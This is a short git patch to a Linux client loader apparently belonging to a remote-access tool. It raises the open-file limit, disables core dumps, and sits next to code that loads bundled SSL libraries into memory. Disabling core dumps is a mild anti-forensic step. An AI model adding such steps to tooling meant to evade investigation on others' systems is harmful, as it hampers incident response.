From f1bc5450c69e18dacc0c38d7ea7505c96425565a Mon Sep 17 00:00:00 2001 From: Oleksii Shevchuk Date: Sun, 5 Mar 2017 16:31:28 +0200 Subject: [PATCH] Request maximal amount of open files (because of memfd) and disable coredumps --- client/sources-linux/pupy_load.c | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/client/sources-linux/pupy_load.c b/client/sources-linux/pupy_load.c index cec0e6eb..a2a5345d 100644 --- a/client/sources-linux/pupy_load.c +++ b/client/sources-linux/pupy_load.c @@ -12,6 +12,7 @@ #include #include #include +#include #include "pupy_load.h" #include "Python-dynload.h" @@ -69,6 +70,14 @@ uint32_t mainThread(int argc, char *argv[], bool so) { uintptr_t cookie = 0; PyGILState_STATE restore_state; + struct rlimit lim; + if (getrlimit(RLIMIT_NOFILE, &lim) == 0) { + lim.rlim_cur = lim.rlim_max; + setrlimit(RLIMIT_NOFILE, &lim); + } + + lim.rlim_cur = 0; lim.rlim_max = 0; + setrlimit(RLIMIT_CORE, &lim); xz_dynload("libcrypto.so.1.0.0", resources_libcrypto_so_start, resources_libcrypto_so_size); xz_dynload("libssl.so.1.0.0", resources_libssl_so_start, resources_libssl_so_size);